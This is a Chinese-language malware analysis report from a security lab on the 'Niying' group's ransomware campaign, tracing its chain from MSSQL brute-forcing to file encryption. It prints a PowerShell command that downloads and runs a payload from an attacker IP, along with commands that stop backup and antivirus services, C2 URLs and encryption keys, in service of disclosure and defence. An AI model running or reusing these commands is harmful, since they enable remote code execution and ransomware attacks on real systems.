近期,有客户反馈服务器文件被加密,新华三攻防实验室立即响应。在排查过程中,发现中毒主机上有大量MSSQL爆破日志及PowerShell运行日志。通过对日志及关联样本进行分析,最终判定此次攻击为“匿影”组织所为。
“匿影”组织于2019年3月份首次被披露,从被披露的3年来,该组织一直保持较高的活跃度,变种也在持续升级。在早期活动中,“匿影”使用永恒之蓝漏洞向受害者计算机植入挖矿病毒,利用中毒主机资源挖取门罗币为主的加密数字货币。2020年4月份,一场在全网大规模传播“WannaRen”勒索病毒事件引起广泛关注,经溯源分析,其幕后黑手正是“匿影”组织。
12月份,研究人员在“匿影”的攻击活动中发现了一个新的自称为CryptoJoker勒索模块,索要赎金从“WannaRen”的0.05BTC涨至0.1BTC;在随后的“匿影”攻击套件中还发现了文件窃密模块,新的窃密模块主要对用户的虚拟货币钱包、身份证、密码等重要文件数据进行窃取。在国家对挖矿活动整治的背景下,该组织成功拓展了勒索、窃密等能力。并且,我们在之后的“匿影”组织攻击活动跟踪中,发现多数事件均以勒索为目的,表明该组织已经将重心从挖矿转向勒索攻击。
"匿影"组织近年发起的主要攻击事件
事件分析攻击流程
新华三攻防实验室还原“匿影”完整勒索攻击过程
样本分析
■%20初始入侵
通过MSSQL扫描爆破获取中毒主机权限,最终执行PowerShell指令,下载cpu2.txt到本地执行
解码为:
IEX((new-objectnet.webclient).downloadstring%20('http://185.198.166.202/cpu2.txt'))
■%20载荷下载
cpu2.txt实际是powershell下载器
下载各种文件至C:UsersPublic文件夹下
下载完成后,cpu2.txt会执行ms.exe
■%20白加黑利用
ms.exe主要负责执行lu.exe,利用白加黑技术躲避杀软检测,执行后续攻击
lu.exe是白文件,原文件名"Start.exe",Sandboxie相关,包含有效证书
lu.exe会加载SbieDll.dll,该dll为黑文件,负责解密执行123.txt
■%20勒索实施
1、123.txt
123.txt内容经过Base64编码,解码后,得到一个整型的宽字节数组。
将该整数组转为bytes类型后得到一个未知类型文件,经分析,该文件由一段Shellcode和一个恶意可执行PE文件“123_dump”组合构成。
Shellcode用来解密出被混淆的API,通过调用VirtualAlloc,VirtualProtect等API,加载“123_dump”到新分配内存空间中执行。
2、123_dump——解密执行shell.txt
样本运行后,首先会查找目录C:userspublic下是否有1949.txt,该文件的存在是决定程序是否继续执行的标志,但程序并未加载解析1949.txt的内容。
进程提权,程序会查询当前进程,实现系统级别提权。
解密shell.txt。程序会拼接当前程序目录C:UserPublicshell.txt查找shell.txt,%20若文件存在,则加载到申请的内存空间中。shell.txt本身是经过加密的文件,无法直接执行。程序随即通过硬编码的解密算法字符串“RC4”和密钥“999888”作为参数传入sub_10001DFB函数中。
经分析sub_10001DFB函数中,不仅支持RC4算法解密,还包括对RC2,DES,3DES,AES192,AES256,以及对分组加密的五种模式CBC,ECB,OFB,CFB%20CTR进行解密。
RC4解密完成后,在新分配的内存空间中得到一个可执行PE文件。
随后程序使用进程镂空方式将该恶意PE文件注入到系统程序servces.exe并执行。
3、shell.txt
MD5
96cec5f391836920f1442a6492b02bd8
文件大小
4.28%20MB%20(4,489,216%20字节)
文件类型
PE32,exe
时间戳
2022-09-01%2009:46:31
编译信息
Microsoft%20Visual%20C/C%20%20(6.0%20(1720-9782))[EXE32]
C&C
m.mssqlnewpro.com
shell.txt包含了11个子PE文件,用以实现提权、终止进程、终止服务、加密文件的功能,主要调用关系如下:
为方便描述,将子PE文件命名为shell.txt.decrypted2.v~shell.txt.decrypted12.v,具体分析见下文。
(1)%20shell.txt
创建事件对象:ezrxtcfyvgihuewawaeewekb
判断是否有管理员权限,取不同标识字符串,管理员为“zzz”,非管理员为“jjj”
获取主机名、用户名、公网IP等信息,与权限标识字符串拼接成一个字符串作为文件名称
回传信息至:
hxxp://m.mssqlnewpro.com/mssqlzzz/upload.php
然后,创建cmd.exe或notepad.exe进程并注入恶意载荷shell.txt.decrypted.2.v实施勒索攻击。
在非管理员权限下,shell.txt释放C:UsersPublica.dll、C:UsersPublicCVE20211675.exe、C:UsersPublicMSFRottenPotato.exe等PE文件,利用CVE-2021-1675、CVE-2021-1732、CVE-2022-21882等漏洞进行提权,并重新执行lu.exe文件。
(2)shell.txt.decrypted.2.v
MD5
2762cf71bb00085bf326d02133ac47c1
文件大小
636%20KB%20(651,264%20字节)
文件类型
PE32,exe
时间戳
2022-09-01%2009:42:39
编译信息
Microsoft%20Visual%20C/C%20%20(6.0%20(1720-9782))[EXE32]
C&C
m.mssqlnewpro.com
判断是否为管理员,取不同标识字符串:
另外创建一个线程,下载%20hxxps://m.mssqlnewpro.com/admin.jpg ,对其进行RC4 解密,key为"999888",然后通过进程注入执行。该解密方式和key与123.txt解密shell.txt一致。
再次判断管理员权限,如果是管理员,则:
先删除之前下载的文件防止溯源分析,部分如下:
然后依次注入执行%20shell.txt.decrypted.3.v%20、shell.txt.decrypted.4.v
(3)shell.txt.decrypted.4.v——关闭进程和服务
MD5
ad0742217c04f05b90cbea2a86b047ca
文件大小
164%20KB%20(167,936%20字节)
文件类型
PE32,exe
时间戳
2022-08-29%2014:20:47
编译信息
Microsoft%20Visual%20C/C%20%20(6.0%20(1720-9782))[EXE32]
创建事件对象%20rsedtfyguhijoiy69ggjhhjggs464
查找并关闭以下进程:
关闭以下服务:
通过命令行关闭大量数据库和数据备份相关服务,及一些安全软件相关服务,共183项
NET%20stop%20MSSQL$SQLEXPRESS%20/Y
NET%20STOP%20acrsch2svc%20/Y
NET%20STOP%20acronisagent%20/Y
NET%20STOP%20arsm%20/Y
NET%20STOP%20FirebirdServerDefaultInstance%20/Y
NET%20STOP%20FirebirdGuardianDefaultInstance%20/Y
NET%20STOP%20MuzzleServer%20/Y
sc%20stop%20"Acronis%20VSS%20Provider"%20/y
sc%20stop%20"Enterprise%20Client%20Service"%20/y
sc%20stop%20"Sophos%20Agent"%20/y
……
sc%20stop%20kavfsslp%20/y
sc%20stop%20KAVFSGT
sc%20stop%20KAVFS%20/y
sc%20stop%20mfefire
(4)shell.txt.decrypted.5.v——NTSD.exe
原始文件名
NTSD.Exe
MD5
fdd5617984b24d21991f80bc94714218
文件大小
31.0%20KB%20(31,744%20字节)
文件类型
PE32,exe
时间戳
2001-08-18%2004:54:36
pdb%20path:%20ntsd.pdb,是Windows自带的用户态调试工具,可用于强制结束进程。
(5)shell.txt.decrypted.3.v——执行加密操作
MD5
13fb686be7a929e8d96558a223da545e
文件大小
272%20KB%20(278,528%20字节)
文件类型
PE32,exe
时间戳
2022-09-01%2009:41:07
编译信息
Microsoft%20Visual%20C/C%20%20(6.0%20(1720-9782))[EXE32]
C&C
m.mssqlnewpro.com
判断是否为管理员,是则创建事件对象%20eyrwtyyweyetywetrey,%20不是则ewyrgrjhshasdftagdagere
在以下字符中随机生成RC4和AES密钥
密钥通过RSA公钥加密并base64编码保存
删除卷影
遍历各磁盘,获取具有以下后缀的目标文件
doc,%20docx,%20xls,%20dat,%20xlsx,%20ec,%20ppt,%20pptx,%20pst,%20ost,%20msg,%20eml,%20vsd,%20vsdx,%20txt,%20csv,%20rtf,%20123,%20wks,%20wk1,%20pdf,%20dwg,%20onetoc2,%20snt,%20jpeg,%20jpg,%20docb,%20docm,%20dot,%20dotm,%20dotx,%20xlsm,%20xlsb,%20xlw,%20xlt,%20xlm,%20xlc,%20xltx,%20xltm,%20pptm,%20pot,%20pps,%20ppsm,%20ppsx,%20ppam,%20potx,%20potm,%20edb,%20hwp,%20602,%20sxi,%20sti,%20sldx,%20sldm,%20vdi,%20vmdk,%20vmx,%20gpg,%20aes,%20ARC,%20PAQ,%20bz2,%20tbk,%20bak,%20tar,%20tgz,%20gz,%207z,%20rar,%20zip,%20backup,%20iso,%20vcd,%20bmp,%20png,%20gif,%20raw,%20cgm,%20tif,%20tiff,%20nef,%20psd,%20ai,%20svg,%20djvu,%20m4u,%20m3u,%20mid,%20wma,%20flv,%203g2,%20mkv,%203gp,%20mp4,%20mov,%20avi,%20asf,%20mpeg,%20vob,%20mpg,%20wmv,%20fla,%20swf,%20wav,%20mp3,%20sh,%20class,%20jar,%20java,%20rb,%20asp,%20php,%20jsp,%20brd,%20sch,%20dch,%20dip,%20pl,%20vb,%20vbs,%20ps1,%20bat,%20cmd,%20js,%20asm,%20h,%20pas,%20cpp,%20c,%20cs,%20suo,%20sln,%20ldf,%20mdf,%20ibd,%20myi,%20myd,%20frm,%20odb,%20dbf,%20db,%20mdb,%20accdb,%20sql,%20sqlitedb,%20sqlite3,%20asc,%20lay6,%20lay,%20mml,%20sxm,%20otg,%20odg,%20uop,%20std,%20sxd,%20otp,%20odp,%20wb2,%20slk,%20dif,%20stc,%20sxc,%20ots,%20ods,%203dm,%20max,%203ds,%20uot,%20stw,%20sxw,%20ott,%20odt,%20pem,%20p12,%20csr,%20crt,%20key,%20pfx,%20der
排除包含以下字符串的文件路径:
■%20加密逻辑:
·%20当文件小于等于20000字节(约19KB)时,使用RC4加密,key为"ksfdskjl81"
·%20当文件大于20000字节,小于30000000字节(约19MB)时,全部读取加密,RC4加密全文件,AES加密前20000字节(CBC不填充模式,IV为0,实际加密20016字节,最后16字节为空),最后会附加16字节加密数据和684字节base64编码之后的RSA加密key
·%20当文件大于等于30000000字节时,只加密前30000000字节,RC4加密前30000000字节,AES加密前100000字节(CBC不填充模式,IV为0,实际加密100016字节,最后16字节为空),后面保持原内容,最后会附加16字节加密数据和684字节base64编码之后的RSA加密key
加密后缀为.locked,被加密文件目录下会生成名为HOW_TO_DECRYPT.txt的勒索信
加密完成后,会连接一次C2服务器,回传相关信息和加密结果
“匿影”组织技术特点
■%20入侵传播阶段
“匿影”擅长在各大软件下载站、免费图床、网盘等公共基础网络上进行木马传播,比如,将伪装成BT下载器、激活工具程序的恶意代码上传至各大下载站。除此之外,一些第三方公司网站也被“匿影”攻陷并充当木马下载服务器。另外,“匿影”经常使用开源渗透工具Ladon对公网上的主机进行MS17-010漏洞利用、弱口令爆破等。
■%20载荷执行阶段
该组织具有模块化开发的能力,各组件分工明确。并且该组织注重躲避安全软件的检测,其常用的免杀手段包括:
1)%20无文件攻击。无论是在早期挖矿还是在后期勒索中,当成功入侵到受害者主机后,“匿影”惯用PowerShell来执行后续一系列攻击步骤,包括其他恶意模块下载、加载执行、持久化等。
2)%20白加黑技术。利用白exe加载恶意dll来躲避安全软件检测,该组织已使用过的白加黑利用手段有WINWODR.exe、Start.exe(Sandboxie)等。
3)%20加密混淆核心载荷。通过PowerShell脚本下载的载荷通常进行了加密混淆处理,常使用Base64编码、逆序、字符类型转化、异或、RC4加密等。解密后的关键代码还会使用Themida壳或VMP壳进行保护,最后再被命名为以.txt和.jpg为主的具有迷惑性的文件后缀。
■ ATT&CK分布图
来源:新华三攻防实验室
编辑:老李